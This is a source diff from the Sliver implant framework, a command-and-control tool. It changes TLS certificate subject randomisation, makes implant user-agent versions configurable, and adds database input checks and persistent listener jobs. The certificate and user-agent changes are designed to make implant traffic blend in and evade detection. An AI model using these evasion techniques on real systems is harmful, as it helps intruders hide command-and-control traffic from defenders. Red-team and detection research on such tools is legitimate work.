"Mesa": {""},
|
||||
"Scottsdale": {""},
|
||||
"Chandler": {""},
|
||||
"CA": {
|
||||
"": {
|
||||
"": {
|
||||
"",
|
||||
},
|
||||
},
|
||||
"Alberta": {
|
||||
"Calgary": {""},
|
||||
"Edmonton": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Red Deer": {""},
|
||||
"Fort McMurray": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
},
|
||||
"British Columbia": {
|
||||
"Vancouver": {""},
|
||||
"Victoria": {""},
|
||||
"Kelowna": {""},
|
||||
"Richmond": {""},
|
||||
},
|
||||
"Manitoba": {
|
||||
"Winnipeg": {""},
|
||||
"Brandon": {""},
|
||||
"Thompson": {""},
|
||||
"Portage la Prairie": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
},
|
||||
"New Brunswick": {
|
||||
"Fredericton": {""},
|
||||
"Moncton": {""},
|
||||
"Saint John": {""},
|
||||
"Dieppe": {""},
|
||||
},
|
||||
"Newfoundland and Labrador": {
|
||||
"St. John's": {""},
|
||||
"Mount Pearl": {
|
||||
"",
|
||||
"College",
|
||||
},
|
||||
"Conception Bay South": {""},
|
||||
"Paradise": {
|
||||
"",
|
||||
"College",
|
||||
},
|
||||
},
|
||||
},
|
||||
"California": {
|
||||
"San Francisco": {"", "Golden Gate Bridge"},
|
||||
"Oakland": {""},
|
||||
"Berkeley": {""},
|
||||
"Palo Alto": {""},
|
||||
"Los Angeles": {""},
|
||||
"San Diego": {""},
|
||||
"San Jose": {""},
|
||||
},
|
||||
"Colorado": {
|
||||
"Denver": {""},
|
||||
"Boulder": {""},
|
||||
"Aurora": {""},
|
||||
"Fort Collins": {""},
|
||||
},
|
||||
"Connecticut": {
|
||||
"New Haven": {""},
|
||||
"Bridgeport": {""},
|
||||
"Stamford": {""},
|
||||
"Norwalk": {""},
|
||||
},
|
||||
"Washington": {
|
||||
"Seattle": {""},
|
||||
"Tacoma": {""},
|
||||
"Olympia": {""},
|
||||
"Spokane": {""},
|
||||
},
|
||||
"Florida": {
|
||||
"Miami": {""},
|
||||
"Orlando": {""},
|
||||
"Tampa": {""},
|
||||
"Jacksonville": {""},
|
||||
},
|
||||
"Illinois": {
|
||||
"Chicago": {""},
|
||||
"Aurora": {""},
|
||||
"Naperville": {""},
|
||||
"Peoria": {""},
|
||||
"JP": {
|
||||
"": {
|
||||
"": {
|
||||
"",
|
||||
},
|
||||
},
|
||||
"Aichi": {
|
||||
"Nagoya": {""},
|
||||
"Kasugai": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Okazaki": {""},
|
||||
"Handa": {""},
|
||||
},
|
||||
"Chiba": {
|
||||
"Chiba": {""},
|
||||
"Kashiwa": {
|
||||
"",
|
||||
"University",
|
||||
},
|
||||
"Funabashi": {""},
|
||||
"Kimitsu": {""},
|
||||
},
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
func randomSubject(commonName string) *pkix.Name {
|
||||
province, locale, street := randomProvinceLocalityStreetAddress()
|
||||
country, province, locale, street := randomProvinceLocalityStreetAddress()
|
||||
return &pkix.Name{
|
||||
Organization: randomOrganization(),
|
||||
Country: []string{"US"},
|
||||
Country: country,
|
||||
Province: province,
|
||||
Locality: locale,
|
||||
StreetAddress: street,
|
||||
PostalCode: randomPostalCode(),
|
||||
PostalCode: randomPostalCode(country),
|
||||
CommonName: commonName,
|
||||
}
|
||||
}
|
||||
|
||||
func randomPostalCode() []string {
|
||||
switch insecureRand.Intn(1) {
|
||||
case 0:
|
||||
return []string{fmt.Sprintf("%d", insecureRand.Intn(8000)+1000)}
|
||||
default:
|
||||
func randomPostalCode(country []string) []string {
|
||||
// 1 in `n` will include a postal code
|
||||
// From my cursory view of a few TLS certs it seems uncommon to include this
|
||||
// in the distinguished name so right now it's set to 1/5
|
||||
const postalProbability = 5
|
||||
|
||||
if len(country) == 0 {
|
||||
return []string{}
|
||||
}
|
||||
switch country[0] {
|
||||
|
||||
case "US":
|
||||
// American postal codes are 5 digits
|
||||
switch insecureRand.Intn(postalProbability) {
|
||||
case 0:
|
||||
return []string{fmt.Sprintf("%05d", insecureRand.Intn(90000)+1000)}
|
||||
default:
|
||||
return []string{}
|
||||
}
|
||||
|
||||
case "CA":
|
||||
// Canadian postal codes are weird and include letter/number combo's
|
||||
letters := "ABHLMNKGJPRSTVYX"
|
||||
switch insecureRand.Intn(postalProbability) {
|
||||
case 0:
|
||||
letter1 := string(letters[insecureRand.Intn(len(letters))])
|
||||
letter2 := string(letters[insecureRand.Intn(len(letters))])
|
||||
if insecureRand.Intn(2) == 0 {
|
||||
letter1 = strings.ToLower(letter1)
|
||||
letter2 = strings.ToLower(letter2)
|
||||
}
|
||||
return []string{
|
||||
fmt.Sprintf("%s%d%s", letter1, insecureRand.Intn(9), letter2),
|
||||
}
|
||||
default:
|
||||
return []string{}
|
||||
}
|
||||
}
|
||||
return []string{}
|
||||
}
|
||||
|
||||
func randomProvinceLocalityStreetAddress() ([]string, []string, []string) {
|
||||
state := randomState()
|
||||
locality := randomLocality(state)
|
||||
streetAddress := randomStreetAddress(state, locality)
|
||||
return []string{state}, []string{locality}, []string{streetAddress}
|
||||
func randomProvinceLocalityStreetAddress() ([]string, []string, []string, []string) {
|
||||
country := randomCountry()
|
||||
state := randomState(country)
|
||||
locality := randomLocality(country, state)
|
||||
streetAddress := randomStreetAddress(country, state, locality)
|
||||
return []string{country}, []string{state}, []string{locality}, []string{streetAddress}
|
||||
}
|
||||
|
||||
func randomState() string {
|
||||
keys := make([]string, 0, len(states))
|
||||
for k := range states {
|
||||
func randomCountry() string {
|
||||
keys := make([]string, 0, len(subjects))
|
||||
for k := range subjects {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
return keys[insecureRand.Intn(len(keys))]
|
||||
}
|
||||
|
||||
func randomLocality(state string) string {
|
||||
locales := states[state]
|
||||
func randomState(country string) string {
|
||||
keys := make([]string, 0, len(subjects[country]))
|
||||
for k := range subjects[country] {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
return keys[insecureRand.Intn(len(keys))]
|
||||
}
|
||||
|
||||
func randomLocality(country string, state string) string {
|
||||
locales := subjects[country][state]
|
||||
keys := make([]string, 0, len(locales))
|
||||
for k := range locales {
|
||||
keys = append(keys, k)
|
||||
@@ -125,44 +343,65 @@ func randomLocality(state string) string {
|
||||
return keys[insecureRand.Intn(len(keys))]
|
||||
}
|
||||
|
||||
func randomStreetAddress(state string, locality string) string {
|
||||
addresses := states[state][locality]
|
||||
func randomStreetAddress(country string, state string, locality string) string {
|
||||
addresses := subjects[country][state][locality]
|
||||
return addresses[insecureRand.Intn(len(addresses))]
|
||||
}
|
||||
|
||||
var (
|
||||
orgNames = []string{
|
||||
"",
|
||||
"ACME",
|
||||
"Partners",
|
||||
"Tech",
|
||||
"Cloud",
|
||||
"Synergy",
|
||||
"Test",
|
||||
"Debug",
|
||||
}
|
||||
orgSuffixes = []string{
|
||||
"",
|
||||
"",
|
||||
"co",
|
||||
"llc",
|
||||
"inc",
|
||||
"corp",
|
||||
"ltd",
|
||||
"plc",
|
||||
"inc.",
|
||||
"corp.",
|
||||
"ltd.",
|
||||
"plc.",
|
||||
"co.",
|
||||
"llc.",
|
||||
"incorporated",
|
||||
"limited",
|
||||
"corporation",
|
||||
"company",
|
||||
"incorporated",
|
||||
"limited",
|
||||
"corporation",
|
||||
"company",
|
||||
}
|
||||
)
|
||||
|
||||
func randomOrganization() []string {
|
||||
name := orgNames[insecureRand.Intn(len(orgNames))]
|
||||
adjective, _ := codenames.RandomAdjective()
|
||||
noun, _ := codenames.RandomNoun()
|
||||
suffix := orgSuffixes[insecureRand.Intn(len(orgSuffixes))]
|
||||
switch insecureRand.Intn(4) {
|
||||
case 0:
|
||||
return []string{strings.TrimSpace(strings.ToLower(name + " " + suffix))}
|
||||
case 1:
|
||||
return []string{strings.TrimSpace(strings.ToUpper(name + " " + suffix))}
|
||||
case 2:
|
||||
return []string{strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", name, suffix)))}
|
||||
|
||||
var orgName string
|
||||
switch insecureRand.Intn(8) {
|
||||
case 0:
|
||||
orgName = strings.TrimSpace(fmt.Sprintf("%s %s, %s", adjective, noun, suffix))
|
||||
case 1:
|
||||
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
|
||||
case 2:
|
||||
orgName = strings.TrimSpace(fmt.Sprintf("%s, %s", noun, suffix))
|
||||
case 3:
|
||||
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
|
||||
case 4:
|
||||
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", adjective, noun)))
|
||||
case 5:
|
||||
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s", adjective, noun)))
|
||||
case 6:
|
||||
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s", noun)))
|
||||
case 7:
|
||||
noun2, _ := codenames.RandomNoun()
|
||||
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s-%s", noun, noun2)))
|
||||
default:
|
||||
return []string{}
|
||||
orgName = ""
|
||||
}
|
||||
|
||||
return []string{orgName}
|
||||
}
|
||||
@@ -131,6 +131,7 @@ var rootCmd = &cobra.Command{
|
||||
|
||||
serverConfig := configs.GetServerConfig()
|
||||
c2.StartPersistentJobs(serverConfig)
|
||||
console.StartPersistentJobs(serverConfig)
|
||||
if serverConfig.DaemonMode {
|
||||
daemon.Start(daemon.BlankHost, daemon.BlankPort)
|
||||
} else {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package generate
|
||||
package codenames
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -23,7 +23,7 @@ import (
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
@@ -39,11 +39,11 @@ var (
|
||||
})
|
||||
)
|
||||
|
||||
// readlines - Read lines of a text file into a slice
|
||||
func readlines(fpath string) ([]string, error) {
|
||||
file, err := os.Open(fpath)
|
||||
// readLines - Read lines of a text file into a slice
|
||||
func readLines(txtFilePath string) ([]string, error) {
|
||||
file, err := os.Open(txtFilePath)
|
||||
if err != nil {
|
||||
codenameLog.Errorf("Error opening %s: %v", fpath, err)
|
||||
codenameLog.Errorf("Error opening %s: %v", txtFilePath, err)
|
||||
return nil, err
|
||||
}
|
||||
defer file.Close()
|
||||
@@ -63,37 +63,37 @@ func readlines(fpath string) ([]string, error) {
|
||||
}
|
||||
|
||||
// getRandomWord - Get a random word from a file, not cryptographically secure
|
||||
func getRandomWord(fpath string) (string, error) {
|
||||
func getRandomWord(txtFilePath string) (string, error) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
words, err := readlines(path.Join(appDir, fpath))
|
||||
words, err := readLines(filepath.Join(appDir, txtFilePath))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
wordsLen := len(words)
|
||||
if wordsLen == 0 {
|
||||
return "", fmt.Errorf("no words found in %s", fpath)
|
||||
return "", fmt.Errorf("no words found in %s", txtFilePath)
|
||||
}
|
||||
word := words[insecureRand.Intn(wordsLen-1)]
|
||||
return strings.TrimSpace(word), nil
|
||||
}
|
||||
|
||||
// getRandomAdjective - Get a random noun, not cryptographically secure
|
||||
func getRandomAdjective() (string, error) {
|
||||
// RandomAdjective - Get a random noun, not cryptographically secure
|
||||
func RandomAdjective() (string, error) {
|
||||
return getRandomWord("adjectives.txt")
|
||||
}
|
||||
|
||||
// getRandomNoun - Get a random noun, not cryptographically secure
|
||||
func getRandomNoun() (string, error) {
|
||||
// RandomNoun - Get a random noun, not cryptographically secure
|
||||
func RandomNoun() (string, error) {
|
||||
return getRandomWord("nouns.txt")
|
||||
}
|
||||
|
||||
// GetCodename - Returns a randomly generated 'codename'
|
||||
func GetCodename() (string, error) {
|
||||
adjective, err := getRandomAdjective()
|
||||
adjective, err := RandomAdjective()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
noun, err := getRandomNoun()
|
||||
noun, err := RandomNoun()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -35,7 +35,8 @@ import (
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 97
|
||||
DefaultChromeBaseVer = 100
|
||||
DefaultMacOSVer = "10_15_7"
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
@@ -69,7 +70,7 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.MacOSVer(), h.ChromeVer())
|
||||
}
|
||||
|
||||
}
|
||||
@@ -83,7 +84,19 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
|
||||
|
||||
// ChromeVer - Generate a random Chrome user-agent
|
||||
func (h *HTTPC2Config) ChromeVer() string {
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
chromeVer := h.ImplantConfig.ChromeBaseVersion
|
||||
if chromeVer == 0 {
|
||||
chromeVer = DefaultChromeBaseVer
|
||||
}
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
}
|
||||
|
||||
func (h *HTTPC2Config) MacOSVer() string {
|
||||
macosVer := h.ImplantConfig.MacOSVersion
|
||||
if macosVer == "" {
|
||||
macosVer = DefaultMacOSVer
|
||||
}
|
||||
return macosVer
|
||||
}
|
||||
|
||||
// RandomImplantConfig - Randomly generate a config
|
||||
@@ -126,7 +139,9 @@ type NameValueProbability struct {
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
UserAgent string `json:"user_agent"`
|
||||
ChromeBaseVersion int `json:"chrome_base_version"`
|
||||
MacOSVersion string `json:"macos_version"`
|
||||
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
@@ -222,11 +237,13 @@ var (
|
||||
},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
ChromeBaseVersion: DefaultChromeBaseVer,
|
||||
MacOSVersion: DefaultMacOSVer,
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
|
||||
StagerFileExt: ".woff",
|
||||
|
||||
|
||||
@@ -177,6 +177,16 @@ func kickOperatorCmd(ctx *grumble.Context) {
|
||||
fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
|
||||
}
|
||||
|
||||
func StartPersistentJobs(cfg *configs.ServerConfig) error {
|
||||
if cfg.Jobs == nil {
|
||||
return nil
|
||||
}
|
||||
for _, j := range cfg.Jobs.Multiplayer {
|
||||
jobStartClientListener(j.Host, j.Port)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func startMultiplayerModeCmd(ctx *grumble.Context) {
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
@@ -26,7 +26,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// TunSocksTunnels - Interating with duplex SocksTunnels
|
||||
// TunSocksTunnels - Interacting with duplex SocksTunnels
|
||||
SocksTunnels = tcpTunnel{
|
||||
tunnels: map[uint64]*TcpTunnel{},
|
||||
mutex: &sync.Mutex{},
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// Tunnels - Interating with duplex tunnels
|
||||
// Tunnels - Interacting with duplex tunnels
|
||||
Tunnels = tunnels{
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.Mutex{},
|
||||
@@ -125,10 +125,10 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
|
||||
// will close it once there is no data for at least delayBeforeClose delay since last message
|
||||
// This is _necessary_ since we processing messages asynchronously
|
||||
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
|
||||
// (this is what happends for socks and portfwd)
|
||||
// (this is what happens for socks and portfwd)
|
||||
// There is no another way around it, if we want to stick to async processing as we do now.
|
||||
// All additional changes requires changes on implants(like sequencing for close messages),
|
||||
// and as there is a goal to keep compatability we don't do that at the moment.
|
||||
// and as there is a goal to keep compatibility we don't do that at the moment.
|
||||
// So there is trade off - more stability or more speed. Or rewriting implant logic.
|
||||
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
|
||||
func (t *tunnels) ScheduleClose(tunnelID uint64) {
|
||||
@@ -153,7 +153,7 @@ func (t *tunnels) ScheduleClose(tunnelID uint64) {
|
||||
}
|
||||
|
||||
// Close - closing tunnel
|
||||
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
|
||||
// It's preferred to use ScheduleClose function if you don't 100% sure there is no more data to receive
|
||||
func (t *tunnels) Close(tunnelID uint64) error {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
|
||||
+104
-14
@@ -39,9 +39,16 @@ var (
|
||||
|
||||
// ImplantConfigByID - Fetch implant build by name
|
||||
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
configID := uuid.FromStringOrNil(id)
|
||||
if configID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
config := models.ImplantConfig{}
|
||||
err := Session().Where(&models.ImplantConfig{
|
||||
ID: uuid.FromStringOrNil(id),
|
||||
ID: configID,
|
||||
}).First(&config).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -79,6 +86,9 @@ func ImplantBuilds() ([]*models.ImplantBuild, error) {
|
||||
|
||||
// ImplantBuildByName - Fetch implant build by name
|
||||
func ImplantBuildByName(name string) (*models.ImplantBuild, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
build := models.ImplantBuild{}
|
||||
err := Session().Where(&models.ImplantBuild{
|
||||
Name: name,
|
||||
@@ -126,6 +136,9 @@ func ImplantProfiles() ([]*models.ImplantProfile, error) {
|
||||
|
||||
// ImplantProfileByName - Fetch implant build by name
|
||||
func ImplantProfileByName(name string) (*models.ImplantProfile, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
profile := models.ImplantProfile{}
|
||||
err := Session().Where(&models.ImplantProfile{
|
||||
Name: name,
|
||||
@@ -170,6 +183,9 @@ func ImplantProfileNames() ([]string, error) {
|
||||
|
||||
// ProfileByName - Fetch a single profile from the database
|
||||
func ProfileByName(name string) (*models.ImplantProfile, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
dbProfile := &models.ImplantProfile{}
|
||||
err := Session().Where(&models.ImplantProfile{Name: name}).Find(&dbProfile).Error
|
||||
return dbProfile, err
|
||||
@@ -184,6 +200,9 @@ func ListCanaries() ([]*models.DNSCanary, error) {
|
||||
|
||||
// CanaryByDomain - Check if a canary exists
|
||||
func CanaryByDomain(domain string) (*models.DNSCanary, error) {
|
||||
if len(domain) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
dbSession := Session()
|
||||
canary := models.DNSCanary{}
|
||||
err := dbSession.Where(&models.DNSCanary{Domain: domain}).First(&canary).Error
|
||||
@@ -192,6 +211,9 @@ func CanaryByDomain(domain string) (*models.DNSCanary, error) {
|
||||
|
||||
// WebsiteByName - Get website by name
|
||||
func WebsiteByName(name string) (*models.Website, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
website := models.Website{}
|
||||
err := Session().Where(&models.Website{Name: name}).First(&website).Error
|
||||
if err != nil {
|
||||
@@ -235,9 +257,16 @@ func HostByHostID(id uuid.UUID) (*models.Host, error) {
|
||||
|
||||
// HostByHostUUID - Get host by the session's reported HostUUID
|
||||
func HostByHostUUID(id string) (*models.Host, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
hostID := uuid.FromStringOrNil(id)
|
||||
if hostID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
host := models.Host{}
|
||||
err := Session().Where(
|
||||
&models.Host{HostUUID: uuid.FromStringOrNil(id)},
|
||||
&models.Host{HostUUID: hostID},
|
||||
).Preload("IOCs").Preload("ExtensionData").First(&host).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -247,18 +276,32 @@ func HostByHostUUID(id string) (*models.Host, error) {
|
||||
|
||||
// IOCByID - Select an IOC by ID
|
||||
func IOCByID(id string) (*models.IOC, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
ioc := &models.IOC{}
|
||||
iocID := uuid.FromStringOrNil(id)
|
||||
if iocID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(
|
||||
&models.IOC{ID: uuid.FromStringOrNil(id)},
|
||||
&models.IOC{ID: iocID},
|
||||
).First(ioc).Error
|
||||
return ioc, err
|
||||
}
|
||||
|
||||
// BeaconByID - Select a Beacon by ID
|
||||
func BeaconByID(id string) (*models.Beacon, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beacon := &models.Beacon{}
|
||||
err := Session().Where(
|
||||
&models.Beacon{ID: uuid.FromStringOrNil(id)},
|
||||
&models.Beacon{ID: beaconID},
|
||||
).First(beacon).Error
|
||||
return beacon, err
|
||||
}
|
||||
@@ -267,8 +310,14 @@ func BeaconByID(id string) (*models.Beacon, error) {
|
||||
// by default will not fetch the request/response columns since
|
||||
// these could be arbitrarily large.
|
||||
func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
beaconTasks := []*models.BeaconTask{}
|
||||
if len(beaconID) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
id := uuid.FromStringOrNil(beaconID)
|
||||
if id == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconTasks := []*models.BeaconTask{}
|
||||
err := Session().Select([]string{
|
||||
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
|
||||
"Description",
|
||||
@@ -278,10 +327,17 @@ func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
|
||||
// BeaconTaskByID - Select a specific BeaconTask by ID, this
|
||||
// will fetch the full request/response
|
||||
func BeaconTaskByID(taskID string) (*models.BeaconTask, error) {
|
||||
func BeaconTaskByID(id string) (*models.BeaconTask, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
taskID := uuid.FromStringOrNil(id)
|
||||
if taskID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
task := &models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{ID: uuid.FromStringOrNil(taskID)},
|
||||
&models.BeaconTask{ID: taskID},
|
||||
).First(task).Error
|
||||
return task, err
|
||||
}
|
||||
@@ -294,9 +350,16 @@ func ListBeacons() ([]*models.Beacon, error) {
|
||||
}
|
||||
|
||||
// RenameBeacon - Rename a beacon
|
||||
func RenameBeacon(beaconID string, name string) error {
|
||||
func RenameBeacon(id string, name string) error {
|
||||
if len(id) < 1 {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(&models.Beacon{
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
ID: beaconID,
|
||||
}).Updates(models.Beacon{Name: name}).Error
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -305,11 +368,18 @@ func RenameBeacon(beaconID string, name string) error {
|
||||
}
|
||||
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
|
||||
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
func PendingBeaconTasksByBeaconID(id string) ([]*models.BeaconTask, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
tasks := []*models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{
|
||||
BeaconID: uuid.FromStringOrNil(beaconID),
|
||||
BeaconID: beaconID,
|
||||
State: models.PENDING,
|
||||
},
|
||||
).Order("created_at").Find(&tasks).Error
|
||||
@@ -317,9 +387,16 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
|
||||
}
|
||||
|
||||
// UpdateBeaconCheckinByID - Update the beacon's last / next checkin
|
||||
func UpdateBeaconCheckinByID(beaconID string, next int64) error {
|
||||
func UpdateBeaconCheckinByID(id string, next int64) error {
|
||||
if len(id) < 1 {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(&models.Beacon{
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
ID: beaconID,
|
||||
}).Updates(models.Beacon{
|
||||
LastCheckin: time.Now(),
|
||||
NextCheckin: time.Now().Unix() + next,
|
||||
@@ -329,10 +406,17 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
|
||||
|
||||
// BeaconTasksByEnvelopeID - Select a (sent) BeaconTask by its envelope ID
|
||||
func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTask, error) {
|
||||
if len(beaconID) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconUUID := uuid.FromStringOrNil(beaconID)
|
||||
if beaconUUID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
task := &models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{
|
||||
BeaconID: uuid.FromStringOrNil(beaconID),
|
||||
BeaconID: beaconUUID,
|
||||
EnvelopeID: envelopeID,
|
||||
State: models.SENT,
|
||||
},
|
||||
@@ -342,6 +426,9 @@ func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTa
|
||||
|
||||
// CountTasksByBeaconID - Select a (sent) BeaconTask by its envelope ID
|
||||
func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
|
||||
if beaconID == uuid.Nil {
|
||||
return 0, 0, ErrRecordNotFound
|
||||
}
|
||||
allTasks := int64(0)
|
||||
completedTasks := int64(0)
|
||||
err := Session().Model(&models.BeaconTask{}).Where(
|
||||
@@ -363,6 +450,9 @@ func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
|
||||
|
||||
// OperatorByToken - Select an operator by token value
|
||||
func OperatorByToken(value string) (*models.Operator, error) {
|
||||
if len(value) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
operator := &models.Operator{}
|
||||
err := Session().Where(&models.Operator{
|
||||
Token: value,
|
||||
|
||||
@@ -112,6 +112,7 @@ const (
|
||||
PENDING = "pending"
|
||||
SENT = "sent"
|
||||
COMPLETED = "completed"
|
||||
CANCELED = "canceled"
|
||||
)
|
||||
|
||||
type BeaconTask struct {
|
||||
|
||||
@@ -19,6 +19,7 @@ package db
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
@@ -45,6 +46,8 @@ func newDBClient() *gorm.DB {
|
||||
dbClient = postgresClient(dbConfig)
|
||||
case configs.MySQL:
|
||||
dbClient = mySQLClient(dbConfig)
|
||||
default:
|
||||
panic(fmt.Sprintf("Unknown DB Dialect: '%s'", dbConfig.Dialect))
|
||||
}
|
||||
|
||||
err := dbClient.AutoMigrate(
|
||||
|
||||
@@ -255,6 +255,9 @@ func GetSliversDir() string {
|
||||
|
||||
// SliverShellcode - Generates a sliver shellcode using Donut
|
||||
func SliverShellcode(name string, config *models.ImplantConfig) (string, error) {
|
||||
if config.GOOS != "windows" {
|
||||
return "", fmt.Errorf("Shellcode format is currently only supported on Windows")
|
||||
